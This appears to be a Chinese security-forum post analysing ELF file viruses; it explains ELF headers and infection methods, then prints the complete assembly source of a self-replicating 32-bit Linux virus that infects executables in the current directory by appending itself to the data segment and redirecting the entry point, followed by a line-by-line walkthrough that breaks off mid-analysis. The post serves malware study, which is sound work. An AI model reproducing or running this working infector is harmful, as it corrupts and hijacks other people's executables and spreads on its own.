首页
社区
课程
招聘
[原创]ELF数据段注入virus分析
发表于: 2024-9-30 18:50 1296

[原创]ELF数据段注入virus分析

2024-9-30 18:50
1296

什么是ELF文件病毒?

  •    ELF 文件病毒是一种专门针对 ELF(Executable and Linkable Format)格式可执行文件的恶意软件。ELF 文件是 Unix 和 Linux 系统中常见的可执行文件格式,这种病毒通过在目标 ELF 文件中插入自身代码来进行传播和感染。当用户执行被感染的文件时,病毒的代码也会被执行,从而可能导致数据损坏、系统崩溃或被恶意控制。

原理:

Unix/Linux病毒通常具备三项主要功能:宿主文件寄生、系统内核感染和网络升级。首先,病毒必须通过某种方式附着于宿主文件,这意味着需要修改宿主程序,将病毒代码插入其中。当宿主程序运行时,病毒代码和宿主代码会一起映射到进程空间中,病毒优先执行,随后将控制权返回给宿主。其次,病毒具有传染性,被感染的宿主程序可以进一步感染其他文件,从而加速病毒在本地目录中的传播。最后,病毒通过可加载的内核模块(LKM)重新加载系统调用,使其更容易被多次触发。同时,病毒还能够修改系统参数,隐藏自身,隐蔽性极强。除此之外,病毒还支持通过网络进行升级。  


ELF 文件病毒通常具有这些特点:

  1. 自我复制:能感染其他 ELF 文件以扩散。
  2. 隐蔽性:可能隐藏在系统进程或文件中,难以被发现。
  3. 功能多样:有些病毒可以执行额外的恶意操作,如窃取数据、创建后门等。


ELF文件格式有哪些内容?

ELF(Executable and Linkable Format)文件的结构主要分为几个部分,具体如下:

  1. ELF头(ELF Header)
  • 描述整个文件的信息,包括文件类型(可执行文件、共享对象等)、目标架构、入口点地址、程序头表和节头表的偏移量等。
ELF Header
#define EI_NIDENT   16

typedef struct {
    unsigned char   e_ident[EI_NIDENT];
    ELF32_Half      e_type;
    ELF32_Half      e_machine;
    ELF32_Word      e_version;
    ELF32_Addr      e_entry;
    ELF32_Off       e_phoff;
    ELF32_Off       e_shoff;
    ELF32_Word      e_flags;
    ELF32_Half      e_ehsize;
    ELF32_Half      e_phentsize;
    ELF32_Half      e_phnum;
    ELF32_Half      e_shentsize;
    ELF32_Half      e_shnum;
    ELF32_Half      e_shstrndx;
} Elf32_Ehdr;


  1. 程序头表(Program Header Table)
  • 包含关于程序运行时所需的段的信息。每个条目描述一个段,包括段类型、段的偏移、虚拟地址、物理地址、文件大小、内存大小、权限等。
Program Header Table
typedef struct {
    ELF32_Word  p_type;
    ELF32_Off   p_offset;
    ELF32_Addr  p_vaddr;
    ELF32_Addr  p_paddr;
    ELF32_Word  p_filesz;
    ELF32_Word  p_memsz;
    ELF32_Word  p_flags;
    ELF32_Word  p_align;
} Elf32_Phdr;

  1. 节头表(Section Header Table)
  • 包含关于各个节的信息。每个节可以包含代码、数据、符号表、重定位信息等。节头表的每个条目描述一个节,包括节名、类型、地址、偏移、大小、标志等。
Section Header Table
typedef struct {
    ELF32_Word      sh_name;
    ELF32_Word      sh_type;
    ELF32_Word      sh_flags;
    ELF32_Addr      sh_addr;
    ELF32_Off       sh_offset;
    ELF32_Word      sh_size;
    ELF32_Word      sh_link;
    ELF32_Word      sh_info;
    ELF32_Word      sh_addralign;
    ELF32_Word      sh_entsize;
} Elf32_Shdr;

  1. 数据段(Data Segment)
  • 包含程序的实际代码和数据。这部分数据在程序加载时被加载到内存中。
  1. 符号表(Symbol Table)
  • 存储程序中所有符号的信息(如函数和变量)。符号表在链接和调试时非常重要。
  1. 字符串表(String Table)
  • 存储与符号表相关的字符串,通常包括函数名和变量名。
  1. 重定位信息(Relocation Information)
  • 包含需要在链接时进行修正的地址信息,帮助在程序被加载到内存后调整代码和数据的地址。
  1. 节内容(Section Contents)
  • 各个节中的实际数据内容,例如代码段的机器指令、数据段的全局变量等。



ELF (Executable and Linkable Format)文件,是在 Linux 中的目标文件,目标文件既会参与程序链接又会参与程序执行,对于不同的情况,目标文件格式提供了其内容的两种并行视图,如下:

其他内容的数据结构及作用可以去自行查询资料,这里就不赘述了


以下是早期的一些著名的 ELF 文件病毒:

  1. Linux.Biolog:一种早期的 Linux ELF 病毒,通过 infecting ELF 可执行文件进行传播。
  2. Elf.Suckit:此病毒能在 Linux 系统中隐藏自己,并感染多个进程。
  3. Elf.Linux.Cobblestone:一种复杂的 ELF 病毒,能够进行自我复制和传播。
  4. Elf.Shellbot:这是一种通过网络传播的 ELF 病毒,常用于恶意行为。
  5. Storm Worm:尽管以 Windows 为主,但它也有 Linux 版本,能够感染 ELF 文件。


从哪里思考ELF病毒的制作

    看上面的ELF文件格式,程序段(segment)是由程序头表(program header)描述的单位;程序节(section) 是由节头表(section header)描述的单位。程序节(section)保存着链接器所用信息,包括:程序 指令,数据,符号表,重定位信息,字符表等等。而程序段(segment)主要是从文件(file)如何 映(mapping)到内存的角度来划分的。以上的三个部分决定目标文件如何与其他目标文件连接,载入内存,以及如何执行。因此 病毒体寄生宿主,驻留内存的关键在于修改寄主的ELF 头,程序头表,节头表信息,然后插入自身代码于寄主文件体中。

其中病毒将使用的域为:

[e_ident]: ELF 文件头中的第一个字段,用来标识文件的基本属性。e_ident 长度为 16 字节,它包含了 ELF 文件的魔数、文件格式、架构等关键信息,并提供一个机器无关数据,解释文件内容。

具体的分布:

  1. [0] 到 [3]: 魔数 0x7F 'E' 'L' 'F'
  2. [4]: 文件类型 (32 位/64 位)
  3. [5]: 数据编码方式 (大端/小端)
  4. [6]: ELF 版本
  5. [7]: OS/ABI 标识
  6. [8]: ABI 版本
  7. [9] 到 [15]: 填充


[e_entry]: ELF 文件头中的一个字段,用来指定程序的入口点地址,也就是操作系统在加载并执行程序时开始执行的第一条指令的地址 。对于不同的系统架构,e_entry 的长度不同:

  • ELF32e_entry 是一个 32 位地址。
  • ELF64e_entry 是一个 64 位地址。

如果 ELF 文件被病毒感染,病毒会修改 e_entry,让它指向病毒代码的入口。病毒执行完自己的代码后,再跳转回原程序的入口点继续执行。这是病毒篡改文件的典型手法。  

[e_phoff]:程序头表(program header table)在文件中的偏移量(以字节计数)

  • 在加载 ELF 文件时,操作系统会使用 e_phoff 来定位程序头表的位置,从而知道如何加载文件中的各个段(如 .text 段、.data 段等)。
  • 程序头表包含多个条目,每个条目描述了程序中的一个段如何从文件映射到内存。例如,它会指定 .text 段从文件的某个偏移加载到内存的某个地址。

例如:

  • 假设 e_phoff 的值是 0x40,这意味着程序头表从 ELF 文件中的第 64 个字节开始。
  • 操作系统会从该偏移位置开始读取程序头表,然后按照表中描述的内容加载各个段到内存中。


[e_shoff]: ELF 文件头中的一个字段,它表示节头表(Section Header Table)在文件中的偏移量。节头表包含了文件中的所有节(Section)的信息,如 .text.data.bss 等。  

e_shoff 指定了节头表在 ELF 文件中的字节偏移量。操作系统或链接器会根据这个偏移量找到节头表,从而了解文件中的各个节(section)的布局和属性。

  • 节头表包含了每个节的大小、文件中的位置、内存中的地址以及对齐要求等信息。
  • 不同于程序头表(用于加载到内存中的段),节头表主要用于链接和调试阶段,而不用于程序加载。
  • 如果 ELF 文件被病毒感染,病毒可能会通过修改节头表来插入恶意代码或隐藏其存在。病毒可能会改变 e_shoff 的值,将节头表的偏移指向恶意节。

 

病毒的寄生方式 一般来说,病毒寄生四种主要方式:

  • 病毒直接覆盖宿主,受感染后的host被破坏,即覆盖可执行文件,破坏原始数据。这种 传染方式将导致下次宿主程序执行失败,病毒很易被发现。如果被破坏的宿主是系统 赖以生存的重要文件,将导致整个系统崩溃。
  • 向宿主文件中插入病毒体,不破坏宿主主体,修改程序流程,以便病毒跟随宿主一起 执行。寄生病毒不改变宿主内部对象格式,在自身得到执行后将控制交还给宿主。病 毒体可以通过修改寄主某个段的大小,寄生在寄主的代码段前、数据段后、代码段和 数据段中间的填充区。但这样会改变原有文件的格式,比较容易检测到。
  • 病毒合入宿主进程映像中,用病毒替换宿主进程映像,之后恢复,在宿主进程映像首 部或尾部植入病毒代码,覆盖进程映像各段之间的填充区域等等。
  • 利用ELF中本身有的填充(padding)字段,将virus植入,不改变原有程序段的大小, 不过这样有明显缺点:填充字段一般小于64byte,只能植入较小的病毒体,如时间炸弹。


对于第二种寄生方式有以下几种:

感染 .text 段的尾部

在实现病毒感染的过程中,我们利用 ELF 文件的特性,特别是在其加载到内存后,尾部通常会被填充为零以形成完整的内存页面。由于内存页面的大小限制,32位系统上最多可以容纳一个4 KB 的病毒,而在64位系统上则可以容纳多达2 MB 的病毒。尽管这个大小看起来有限,但对于用 C 或汇编语言编写的小型病毒而言,已经足够。

实现这一目标的具体方法如下:

  • 修改入口点:在 ELF 头中调整入口点的指向,使其指向 .text 段的尾部。这一步确保了病毒代码在感染后能够被正确执行。
  • 调整节表:在 ELF 头的节表中增加相应节的页面长度,从而为病毒代码腾出空间。
  • 扩展段的长度:扩大 .text 段的文件长度和内存长度,以确保可以容纳病毒代码的大小。
  • 遍历程序头:对每个被感染的程序头进行遍历,根据页面长度调整相应的偏移,以便正确定位新添加的病毒代码。
  • 修改节头:找到 .text 段的最后一个节头,并在其节头中增加长度,确保新插入的代码被正确记录。
  • 插入病毒代码:在 .text 段的尾部插入病毒代码,以实现自我复制的功能。
  • 跳转执行:在插入病毒代码后,确保能够跳转回原始宿主的入口点,继续执行宿主代码,这样可以在不被察觉的情况下完成感染。

反向感染 .text 段

反向感染的过程允许我们在不改变宿主代码虚拟地址的情况下,感染 .text 段的前面部分。这个过程的核心在于反向扩展 .text 段的起始部分,以便为病毒提供更多的感染空间。

现代 Linux 系统允许的最小虚拟映射地址为 0x1000,这为反向扩展设置了限制。在64位系统中,.text 段的默认虚拟地址通常是 0x400000,这样可以为病毒提供减去 ELF 头长度后的约 0x3ff000 的空间。而在32位系统中,.text 段的默认虚拟地址通常为 0x08048000,这为病毒提供了更大的自由度。

实现反向感染的方法包括:

  • 调整节表偏移:在 ELF 头的节表中,增加偏移以适应病毒长度,确保正确对齐。
  • 修改虚拟地址:在 .text 段的程序头中,依据病毒长度减少虚拟地址,以便为病毒代码腾出空间。
  • 扩展文件和内存长度:在 .text 段的程序头中,根据病毒长度增加文件长度和内存长度,确保病毒能够顺利嵌入。
  • 调整程序头偏移:根据病毒的长度,遍历每个程序头的偏移,增加到超出 .text 段的长度,以正确反映新的布局。
  • 修改入口点:在 ELF 头中调整入口点,使其指向原始的 .text 段虚拟地址减去病毒长度,以确保程序能够顺利运行。
  • 插入病毒实体:将病毒代码插入到 .text 段的起始位置,确保其在执行时能够被调用。

数据段感染

数据段感染是病毒传播的一种策略,目标是将病毒代码附加到数据段(.data 段),并位于 .bss 段之前。这种方法的优势在于数据部分的限制较少,病毒代码可以扩展得更大,且不容易被发现。

数据内存段具有 R + W(读和写)的权限,而 .text 内存段则是 R + X(读和执行)。在一些没有启用 NX 位的系统(例如32位 Linux)中,执行数据段中的代码并不需要更改权限设置。然而,在其他系统中,病毒必须在其驻留的内存段属性中添加可执行标志,以确保能够正常执行。

实现数据段感染的步骤包括:

  • 增加节头偏移:在 ELF 头中,根据病毒长度增加节头的偏移,以确保为病毒提供足够空间。
  • 修改入口点:调整 ELF 头中的入口点,使其指向数据段的尾部(虚拟地址 + 文件长度),确保在执行时能够正确跳转。
  • 扩展页面和内存长度:在数据段的程序头中,根据病毒长度增加页面和内存的长度,以适应新增的代码。
  • 调整 .bss 段偏移:根据病毒的长度调整 .bss 段的偏移(在节头中),确保内存布局正确。
  • 设置可执行权限:如果系统需要,设置数据段的可执行权限位,确保能够执行病毒代码。
  • 插入病毒实体:将病毒代码插入到数据段的尾部,以便在感染后能够被顺利调用。
  • 跳转到宿主入口点:最后,插入必要的跳转代码,以便能够顺利返回到原始宿主的入口点执行。


下面就数据段感染剖析一个ELF病毒源码案例:

源码来源:

cranklin/cranky-data-virus: Educational virus written in Assembly that infects 32-bit ELF executables on Linux using the data segment infection method (github.com)

源码如下:

section .text
global v_start

v_start:
; virus body start

; make space in the stack for some uninitialized variables to avoid a .bss section
mov ecx, 2328   ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
loop_bss:
push 0x00       ; reserve 4 bytes (double word) of 0's
sub ecx, 1      ; decrement our counter by 1
cmp ecx, 0
jbe loop_bss
mov edi, esp    ; esp has our fake .bss offset.  Let's store it in edi for now.

call folder
db ".", 0
folder:
pop ebx         ; name of the folder
mov esi, 0      ; reset offset for targets
mov eax, 5      ; sys_open
mov ecx, 0
mov edx, 0
int 80h

cmp eax, 0      ; check if fd in eax > 0 (ok)
jbe v_stop        ; cannot open file.  Exit virus

mov ebx, eax
mov eax, 0xdc   ; sys_getdents64
mov ecx, edi    ; fake .bss section
add ecx, 32     ; offset for buffer
mov edx, 1024
int 80h

mov eax, 6  ; close
int 80h
xor ebx, ebx    ; zero out ebx as we will use it as the buffer offset

find_filename_start:
; look for the sequence 0008 which occurs before the start of a filename
inc ebx
cmp ebx, 1024
jge infect
cmp byte [edi+32+ebx], 0x00     ; edi+32 is buffer
jnz find_filename_start
inc ebx
cmp byte [edi+32+ebx], 0x08     ; edi+32 is buffer
jnz find_filename_start

xor ecx, ecx    ; clear out ecx which will be our offset for file
mov byte [edi+ecx], 0x2e   ; prepend file with ./ for full path (.)  edi is filename
inc ecx
mov byte [edi+ecx], 0x2f   ; prepend file with ./ for full path (/)  edi is filename
inc ecx

find_filename_end:
; look for the 00 which denotes the end of a filename
inc ebx
cmp ebx, 1024
jge infect

push esi                ; save our target offset
mov esi, edi            ; fake .bss
add esi, 32             ; offset for buffer
add esi, ebx            ; set source
push edi                ; save our fake .bss
add edi, ecx            ; set destination to filename
movsb                   ; moved byte from buffer to filename
pop edi                 ; restore our fake .bss
pop esi                 ; restore our target offset
inc ecx                 ; increment offset stored in ecx

cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename
jnz find_filename_end

mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer

push ebx                ; save our offset in buffer
call scan_file
pop ebx                 ; restore our offset in buffer

jmp find_filename_start ; find next file

scan_file:
; check the file for infectability
mov eax, 5      ; sys_open
mov ebx, edi    ; path (offset to filename)
mov ecx, 0      ; O_RDONLY
int 80h

cmp eax, 0      ; check if fd in eax > 0 (ok)
jbe return      ; cannot open file.  Return

mov ebx, eax    ; fd
mov eax, 3      ; sys_read
mov ecx, edi    ; address struct
add ecx, 2080   ; offset to targetfile in fake .bss
mov edx, 12     ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature
int 80h

call elfheader
dd 0x464c457f     ; 0x7f454c46 -> .ELF (but reversed for endianness)
elfheader:
pop ecx
mov ecx, dword [ecx]
cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword).  edi+2080 is offset to targetfile in fake .bss
jnz close_file  ; not an executable ELF binary.  Return

; check if infected
mov ecx, 0x001edd0e     ; 0x0edd1e00 signature reversed for endianness
cmp dword [edi+2080+8], ecx   ; signature should show up after the 8th byte.  edi+2080 is offset to targetfile in fake .bss
jz close_file                   ; signature exists.  Already infected.  Close file.

save_target:
; good target!  save filename
push esi    ; save our targets offset
push edi    ; save our fake .bss
mov ecx, edi    ; temporarily place filename offset in ecx
add edi, 1056   ; offset to targets in fake .bss
add edi, esi
mov esi, ecx    ; filename -> edi -> ecx -> esi
mov ecx, 32
rep movsb   ; save another target filename in targets
pop edi     ; restore our fake .bss
pop esi     ; restore our targets offset
add esi, 32

close_file:
mov eax, 6
int 80h

return:
ret

infect:
; let's infect these targets!
cmp esi, 0
jbe v_stop ; there are no targets :( exit

sub esi, 32

mov eax, 5              ; sys_open
mov ebx, edi            ; path
add ebx, 1056           ; offset to targets in fake .bss
add ebx, esi            ; offset of next filename
mov ecx, 2              ; O_RDWR
int 80h

mov ebx, eax            ; fd

mov ecx, edi
add ecx, 2080           ; offset to targetfile in fake .bss

reading_loop:
mov eax, 3              ; sys_read
mov edx, 1              ; read 1 byte at a time (yeah, I know this can be optimized)
int 80h

cmp eax, 0              ; if this is 0, we've hit EOF
je reading_eof
mov eax, edi
add eax, 9312           ; 2080 + 7232
cmp ecx, eax            ; if the file is over 7232 bytes, let's quit
jge infect
add ecx, 1
jmp reading_loop

reading_eof:
push ecx                ; store address of last byte read. We'll need this later
mov eax, 6              ; close file
int 80h

xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+44]     ; ehdr->phnum (number of program header entries)
mov eax, dword [edi+2080+28]   ; ehdr->phoff (program header offset)
sub ax, word [edi+2080+42]     ; subtract 32 (size of program header entry) to initialize loop

program_header_loop:
; loop through program headers and find the data segment (PT_LOAD, offset>0)

;0	p_type	type of segment
;+4	p_offset	offset in file where to start the segment at
;+8	p_vaddr	his virtual address in memory
;+c	p_addr	physical address (if relevant, else equ to p_vaddr)
;+10	p_filesz	size of datas read from offset
;+14	p_memsz	size of the segment in memory
;+18	p_flags	segment flags (rwx perms)
;+1c	p_align	alignement
add ax, word [edi+2080+42]
cmp ecx, 0
jbe infect                  ; couldn't find data segment.  let's close and look for next target
sub ecx, 1                  ; decrement our counter by 1

mov ebx, dword [edi+2080+eax]   ; phdr->type (type of segment)
cmp ebx, 0x01                   ; 0: PT_NULL, 1: PT_LOAD, ...
jne program_header_loop             ; it's not PT_LOAD.  look for next program header

mov ebx, dword [edi+2080+eax+4]     ; phdr->offset (offset of program header)
cmp ebx, 0x00                       ; if it's 0, it's the text segment.  Otherwise, we found the data segment
je program_header_loop              ; it's the text segment.  We're interested in the data segment

mov ebx, dword [edi+2080+24]        ; old entry point
push ebx                            ; save the old entry point
mov ebx, dword [edi+2080+eax+4]     ; phdr->offset (offset of program header)
mov edx, dword [edi+2080+eax+16]    ; phdr->filesz (size of segment on disk)
add ebx, edx                        ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
push ebx                            ; save the offset of our virus
mov ebx, dword [edi+2080+eax+8]     ; phdr->vaddr (virtual address in memory)
add ebx, edx        ; new entry point = phdr[data]->vaddr + p[data]->filesz

mov ecx, 0x001edd0e     ; insert our signature at byte 8 (unused section of the ELF header)
mov [edi+2080+8], ecx
mov [edi+2080+24], ebx  ; overwrite the old entry point with the virus (in buffer)
add edx, v_stop - v_start   ; add size of our virus to phdr->filesz
add edx, 7                  ; for the jmp to original entry point
mov [edi+2080+eax+16], edx  ; overwrite the old phdr->filesz with the new one (in buffer)
mov ebx, dword [edi+2080+eax+20]    ; phdr->memsz (size of segment in memory)
add ebx, v_stop - v_start   ; add size of our virus to phdr->memsz
add ebx, 7                  ; for the jmp to original entry point
mov [edi+2080+eax+20], ebx  ; overwrite the old phdr->memsz with the new one (in buffer)

xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+48]      ; ehdr->shnum (number of section header entries)
mov eax, dword [edi+2080+32]    ; ehdr->shoff (section header offset)
sub ax, word [edi+2080+46]      ; subtract 40 (size of section header entry) to initialize loop

section_header_loop:
; loop through section headers and find the .bss section (NOBITS)

;0	sh_name	contains a pointer to the name string section giving the
;+4	sh_type	give the section type [name of this section
;+8	sh_flags	some other flags ...
;+c	sh_addr	virtual addr of the section while running
;+10	sh_offset	offset of the section in the file
;+14	sh_size	zara white phone numba
;+18	sh_link	his use depends on the section type
;+1c	sh_info	depends on the section type
;+20	sh_addralign	alignement
;+24	sh_entsize	used when section contains fixed size entrys
add ax, word [edi+2080+46]
cmp ecx, 0
jbe finish_infection        ; couldn't find .bss section.  Nothing to worry about.  Finish the infection
sub ecx, 1                  ; decrement our counter by 1

mov ebx, dword [edi+2080+eax+4]     ; shdr->type (type of section)
cmp ebx, 0x00000008         ; 0x08 is NOBITS which is an indicator of a .bss section
jne section_header_loop     ; it's not the .bss section

mov ebx, dword [edi+2080+eax+12]    ; shdr->addr (virtual address in memory)
add ebx, v_stop - v_start   ; add size of our virus to shdr->addr
add ebx, 7                  ; for the jmp to original entry point
mov [edi+2080+eax+12], ebx  ; overwrite the old shdr->addr with the new one (in buffer)

section_header_loop_2:
mov edx, dword [edi+2080+eax+16]    ; shdr->offset (offset of section)
add edx, v_stop - v_start   ; add size of our virus to shdr->offset
add edx, 7                  ; for the jmp to original entry point
mov [edi+2080+eax+16], edx  ; overwrite the old shdr->offset with the new one (in buffer)

add eax, 40
sub ecx, 1
cmp ecx, 0
jg section_header_loop_2    ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping

finish_infection:
;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point)
;dword [edi+2080+28]       ; ehdr->phoff (program header offset)
;dword [edi+2080+32]       ; ehdr->shoff (section header offset)
;word [edi+2080+40]        ; ehdr->ehsize (size of elf header)
;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry)
;word [edi+2080+44]        ; ehdr->phnum (number of program header entries)
;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry)
;word [edi+2080+48]        ; ehdr->shnum (number of program header entries)
mov eax, v_stop - v_start       ; size of our virus minus the jump to original entry point
add eax, 7                      ; for the jmp to original entry point
mov ebx, dword [edi+2080+32]    ; the original section header offset
add eax, ebx                    ; add the original section header offset
mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer)

mov eax, 5              ; sys_open
mov ebx, edi            ; path
add ebx, 1056           ; offset to targets in fake .bss
add ebx, esi            ; offset of next filename
mov ecx, 2              ; O_RDWR
int 80h

mov ebx, eax            ; fd
mov eax, 4              ; sys_write
mov ecx, edi
add ecx, 2080           ; offset to targetfile in fake .bss
pop edx                 ; host file up to the offset where the virus resides
int 80h
mov [edi+7], edx        ; place the offset of the virus in this unused section of the filename buffer

call delta_offset
delta_offset:
pop ebp                 ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files.  This will be 0 in our original virus
sub ebp, delta_offset

mov eax, 4
lea ecx, [ebp + v_start]    ; attach the virus portion (calculated with the delta offset)
mov edx, v_stop - v_start   ; size of virus bytes
int 80h

pop edx                 ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename)
mov [edi], byte 0xb8        ; op code for MOV EAX (1 byte)
mov [edi+1], edx            ; original entry point (4 bytes)
mov [edi+5], word 0xe0ff    ; op code for JMP EAX (2 bytes)

    mov eax, 4
    mov ecx, edi            ; offset to filename in fake .bss
    mov edx, 7              ; 7 bytes for the final jmp to the original entry point
    int 80h

    mov eax, 4              ; sys_write
    mov ecx, edi
    add ecx, 2080           ; offset to targetfile in fake .bss
    mov edx, dword [edi+7]  ; offset of the virus
    add ecx, edx            ; let's continue where we left off

    pop edx                 ; offset of last byte in targetfile in fake.bss
    sub edx, ecx            ; length of bytes to write
    int 80h

    mov eax, 36             ; sys_sync
    int 80h

    mov eax, 6              ; close file
    int 80h

    jmp infect

v_stop:
    ; virus body stop (host program start)
    mov eax, 1      ; sys_exit
    mov ebx, 0      ; normal status
    int 80h

分析:

初始化.bss段:

mov ecx, 2328     ; 分配2328个双字空间
loop_bss:
    push 0x00     ; 将0入栈,创建伪.bss段
    sub ecx, 1    ; ecx减1
    cmp ecx, 0
    jbe loop_bss  ; 如果ecx <= 0,退出循环
mov edi, esp      ; 保存栈顶指针到edi,作为伪.bss段的起始地址

这里通过循环将0压入栈中,形成一个虚拟的 .bss 段,重复2328次,以分配足够的内存空间,因为.bss在初始化的时候就是填充0。循环结束时,edi 指向这个虚拟 .bss 段的起始位置。  


获取当前文件夹路径  :

call folder
db ".", 0         ; 存储当前目录路径

代码通过 call folder 调用一个函数并存储当前目录(.)。这里 db ".", 0 是定义当前目录的路径(. 代表当前目录,字符串以0结尾)。


返回并获取文件夹路径名  :

folder:
    pop ebx       ; 将返回地址弹出,并存储到ebx中,这里是文件夹路径名

在调用 folder 时,函数会将返回地址压栈,pop ebx 会将它弹出并存储到 ebx,此时 ebx 中包含了文件夹路径(即.)。


打开文件夹  :

mov eax, 5        ; 设置eax为5(表示系统调用sys_open)
mov ecx, 0
mov edx, 0
int 80h           ; 调用系统中断

sys_open 用于打开文件夹。这里的文件夹路径是 ebx(当前目录),通过中断 int 0x80(软中断) 进行系统调用。执行后,文件描述符存储在 eax 中。  


检查文件描述符  

cmp eax, 0        ; 检查eax中返回的文件描述符是否大于0
jbe v_stop        ; 如果文件描述符小于等于0,跳转到v_stop,表示打开失败

如果文件描述符小于等于0,表示文件夹打开失败,跳转到 v_stop 终止程序。  


读取文件夹内容:  

mov ebx, eax       ; 将文件描述符保存到ebx
mov eax, 0xdc      ; 设置eax为0xdc(sys_getdents64系统调用号)
mov ecx, edi       ; ecx指向伪.bss段的起始地址
add ecx, 32        ; 偏移32字节,预留空间用于存储读取到的内容
mov edx, 1024      ; 读取1024字节的目录内容
int 80h            ; 调用系统中断

使用 sys_getdents64 系统调用读取目录项。将读取的数据存储到伪 .bss 段中。此时 edi 指向的地址是伪 .bss 段,而 ecx 用作缓冲区的起始地址,偏移32字节用于存储结果。  


关闭文件描述符:  

mov eax, 6        ; 设置eax为6(sys_close系统调用)
int 80h           ; 调用系统中断,关闭文件描述符


重置偏移并准备处理读取到的数据:  

xor ebx, ebx      ; 清空ebx,作为缓冲区偏移量

重置 ebx 为0,将它用作处理读取到的目录项数据时的偏移量。  


寻找文件名起始点:

find_filename_start:
    inc ebx
    cmp ebx, 1024
    jge infect
  • 增加 ebx 的值,用于追踪当前字节的位置。
  • 检查 ebx 是否大于或等于1024,如果是,跳转到 infect


检查当前字节:

cmp byte [edi+32+ebx], 0x00     ; edi+32 是缓冲区
jnz find_filename_start
  • 比较缓冲区(edi + 32)中当前字节是否为0。如果不是0,继续寻找下一个字节。


增加 ebx 并寻找特定序列:

inc ebx
cmp byte [edi+32+ebx], 0x08     ; edi+32 是缓冲区
jnz find_filename_start
  • 再次增加 ebx,检查下一个字节是否为0x08(即0008的起始字节)。如果不是,则回到查找起始点。


清零并准备文件名:

xor ecx, ecx    ; 清空 ecx,作为文件的偏移量
mov byte [edi+ecx], 0x2e   ; 在文件名前添加 ./ 的第一个字节 (.)
inc ecx
mov byte [edi+ecx], 0x2f   ; 在文件名前添加 ./ 的第二个字节 (/)
inc ecx
  • 清空 ecx,它将用作文件名的偏移量。
  • 在找到的文件名之前插入 ./,这为文件路径提供了完整性。


寻找文件名结束标记:

find_filename_end:
    inc ebx
    cmp ebx, 1024
    jge infect
  • 增加 ebx 的值,跟踪当前字节的位置。
  • 检查 ebx 是否大于或等于1024,如果是,跳转到 infect


保存和设置偏移量:

push esi                ; 保存目标偏移量
mov esi, edi            ; 伪.bss地址
add esi, 32             ; 缓冲区偏移量
add esi, ebx            ; 设置源地址
push edi                ; 保存伪.bss地址
add edi, ecx            ; 设置目标为文件名
movsb                   ; 从缓冲区移动一个字节到文件名
  • 保存 esi 的值以备后用,并设置它指向缓冲区。
  • edi 的值增加到当前文件名的目标位置,并通过 movsb 将字节从源缓冲区复制到文件名。


恢复偏移量并增加:

pop edi                 ; 恢复伪.bss地址
pop esi                 ; 恢复目标偏移量
inc ecx                 ; 增加存储在 ecx 中的偏移量
  • 恢复之前保存的 ediesi,并增加 ecx,准备写入下一个字节。


检查文件名结束标记:

cmp byte [edi+32+ebx], 0x00 ; 检查文件名结束标记
jnz find_filename_end
  • 比较缓冲区中的当前字节是否为0。如果不是,继续寻找下一个字节。


添加字符串结束标记:

mov byte [edi+ecx], 0x00 ; 文件名结束,添加0x00到文件缓冲区
  • 在找到的文件名末尾添加0x00,标记字符串结束。


调用文件扫描函数:

push ebx                ; 保存缓冲区偏移量
call scan_file          ; 调用文件扫描函数
pop ebx                 ; 恢复缓冲区偏移量
  • 保存当前偏移量,调用 scan_file 函数处理文件,之后恢复偏移量。


查找下一个文件:

jmp find_filename_start ; 查找下一个文件
  • 跳回 find_filename_start,开始寻找下一个文件名。


打开文件:

scan_file:
    mov eax, 5      ; sys_open
    mov ebx, edi    ; 文件路径(文件名的偏移量)
    mov ecx, 0      ; 以只读模式打开
    int 80h
  • 使用系统调用 sys_open 打开文件,eax 设置为5表示打开文件,ebx 存储文件名的地址,ecx 设置为0表示只读模式。


检查文件描述符:

cmp eax, 0      ; 检查返回的文件描述符是否大于0
jbe return      ; 如果小于或等于0,跳转到返回
  • 检查 eax 中的文件描述符。如果小于或等于0,表示无法打开文件,跳转到 return 结束处理。


读取文件内容:

mov ebx, eax    ; 保存文件描述符
mov eax, 3      ; sys_read
mov ecx, edi    ; 结构体地址
add ecx, 2080   ; 偏移到伪.bss 中目标文件的位置
mov edx, 12     ; 读取12字节
int 80h
  • 使用 sys_read 读取文件内容,eax 设置为3表示读取操作,ebx 为文件描述符,ecx 指向目标位置的偏移量,edx 设置为12字节以读取必要的数据。


调用 ELF 头检查函数:

call elfheader
dd 0x464c457f     ; 0x7f454c46 -> .ELF(反向字节序)
  • 调用 elfheader 函数来检查读取的内容是否为有效的 ELF 文件。使用 dd 指令定义期望的 ELF 文件头签名(0x7f454c46),以小端格式存储。


检查 ELF 文件头:

elfheader:
    pop ecx
    mov ecx, dword [ecx]
    cmp dword [edi+2080], ecx ; 检查 ELF 文件头
    jnz close_file  ; 如果不是 ELF 文件,跳转到 close_file
  • 从栈中弹出 ecx,然后将其内容移动到 ecx 中。
  • 检查伪 .bss 中 edi+2080 偏移处的4字节是否与 ELF 文件头(在 ecx 中)相匹配。
  • 如果不匹配,跳转到 close_file 处理,表示文件不是有效的 ELF 文件。


检查文件是否已被感染:

mov ecx, 0x001edd0e     ; 感染签名,反向字节序
cmp dword [edi+2080+8], ecx   ; 检查感染签名是否存在
jz close_file                   ; 如果存在,文件已感染,关闭文件
  • 将预定义的感染签名(0x0edd1e00)加载到 ecx 中,并检查它是否在文件的偏移位置 edi+2080+8 处存在。
  • 如果签名存在,跳转到 close_file,表示该文件已经被感染。


保存有效目标文件名:

save_target:
    push esi    ; 保存目标偏移
    push edi    ; 保存伪 .bss
    mov ecx, edi    ; 临时将文件名偏移放入 ecx
    add edi, 1056   ; 偏移到伪 .bss 中存储目标的地方
    add edi, esi
    mov esi, ecx    ; 处理文件名的偏移
